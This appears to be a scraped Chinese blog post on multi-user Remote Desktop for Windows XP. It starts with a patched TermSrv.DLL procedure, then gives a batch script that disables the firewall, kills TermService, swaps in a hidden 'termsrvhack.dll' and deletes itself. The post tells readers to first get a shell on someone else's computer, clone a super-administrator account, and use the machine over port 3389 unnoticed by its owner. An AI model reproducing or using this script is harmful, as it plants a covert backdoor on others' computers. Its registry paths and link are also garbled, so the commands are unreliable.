天天看點

Windows XP中實作多使用者同玩一台電腦

第一步:首先是在Windows XP上安裝SP2正式版,按照正常方式安裝即可,這裡不再贅述。

  第二步:準備一份版本較早的SP2終端伺服器軟體(據說從Build 2082開始該功能就被禁止了,是以最好使用之前版本),中文SP2測試版較難找到,我用的是英文版Build 2055,運作之後沒有發現任何問題。你可以從http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" target="_blank">http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act

=Attach&type=post&id=161513下載下傳Build 2055的終端伺服器執行檔案TermSrv.DLL。從這個連結下載下傳來的是一個擴充名為.DL_的檔案,你可以把它的擴充名改成ZIP檔案,然後用WinRAR解開它。

  第三步:接下來,以安全模式啟動Windows XP,如果有多個作業系統,可以啟動另一個能通路Windows XP系統分區的系統(除非安裝了第三方工具軟體,否則Windows 98不能通路NTFS檔案系統,是以Windows 98可能沒用)。然後,把Windows XP裡面SP2正式版的所有TermSrv.DLL備份一下,在所有TermSrv.DLL檔案出現的位置,用Build 2055版本的TermSrv.DLL覆寫。通常,TermSrv.DLL至少出現在二個位置,分别是:/Windows/system32,/Windows/system32/dllcache。凡是原來有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆寫。

  第四步:以正常模式啟動Windows XP,如果系統的檔案保護功能提示說TermSrv.DLL檔案已被修改,并詢問是否要複原,選擇否。

  第五步:最後還要修改一下系統資料庫,增加終端伺服器的多使用者許可。鑒于修改系統資料庫比較麻煩而且容易出錯,你可以用下面的批指令修改系統資料庫:

  @echo off

  setlocal

  set regkey="HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/Licensing Core"

  reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f

  endlocal

  将上述内容儲存為一個批指令檔案,如AA.BAT,輕按兩下執行一下就可以了。

我不推薦這種做法 ,太煩鎖了,而且還要讓系統重起過。我們可以寫一個批處理檔案使系統不用重起就實作XP多使用者登陸,首先我們先來了解一個對系統資料庫操作的指令參數:

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [//Machine/]FullKey

      Machine 遠端機器名 - 忽略預設到目前機器。遠端機器上

            隻有 HKLM 和 HKU。

      FullKey ROOTKEY/SubKey

      ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

      SubKey   所選 ROOTKEY 下系統資料庫項的完整名。

/v     所選項之下要添加的值名。

/ve     為系統資料庫項添加空白值名(預設)。

/t     RegKey 資料類型

      [ REG_SZ   | REG_MULTI_SZ | REG_EXPAND_SZ |

        REG_DWORD | REG_BINARY   | REG_NONE     ]

      如果忽略,則采用 REG_SZ。

/s     指定一個在 REG_MULTI_SZ 資料字元串中用作分隔符的字元

      如果忽略,則将 "/0" 用作分隔符。

/d     要配置設定給添加的系統資料庫 ValueName 的資料。

/f     不用提示就強行覆寫現有系統資料庫項。

例如:

REG ADD //ABC/HKLM/Software/MyCo

  添加遠端機器 ABC 上的一個系統資料庫項 HKLM/Software/MyCo

REG ADD HKLM/Software/MyCo /v Data /t REG_BINARY /d fe340ead

  添加一個值(名稱: Data,類型: REG_BINARY,資料: fe340ead)

REG ADD HKLM/Software/MyCo /v MRU /t REG_MULTI_SZ /d fax/0mail

  添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,資料: fax/0mail/0/0)

REG ADD HKLM/Software/MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%

  添加一個值(名稱: Path,類型: REG_EXPAND_SZ,資料: %systemroot%)

  注意: 在擴充字元串中使用插入符号 ( ^ )

 為了讓系統不重起,我們可以用shutdown -a 這個指令。

  根據上面找來的資料,我們可以編寫一個批處理,實作XP系統多使用者登陸而又不用重起系統。

  代碼如下:

@echo off

@net stop sharedaccess

@ntsd -c q -p "pid"

@reg add HKLM/SOFTWARE/Microsoft/Windows" "NT/CurrentVersion/Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f

@reg add HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

@reg add HKLM/SYSTEM/CurrentControlSet/control/terminal" "server/Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f

@reg add HKLM/SYSTEM/CurrentControlSet/Services/TermService/Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%/system32/termsrvhack.dll /f

@copy c:/termsrvhack.dll c:/windows/system32/dllcache/termsrvhack.dll

@attrib +h +s +r c:/windows/system32/dllcache/termsrvhack.dll

@copy c:/termsrvhack.dll c:/windows/system32/termsrvhack.dll

@attrib +h +s +r c:/windows/system32/termsrvhack.dll

@shutdown -a

@del c:/termsrvhack.dll

@net start termservice

@del c:/3389.bat

  其中“pid"是要替換成TermService服務的PID号,可以用指令tasklist/svc指令得到。當然win2000和以下系統是沒有tasklist指令的。

具體的操作方法是:先要得到對方的一個SHELL,然後在shell下用第三方軟體打開終端服務,先不要改變預設的3389端口,不然要重起後才登陸,再建一個或克隆一個超級管理者使用者。

  接下來把下載下傳好的termsrvhack.dll和上面的批處理傳到對方的C槽根目錄下,然後在shell下運作此批處理。提示成功!

  最後打開登陸器,3389終端登陸!

  說明一下你登陸進去後在裡面的操作和那台電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!

繼續閱讀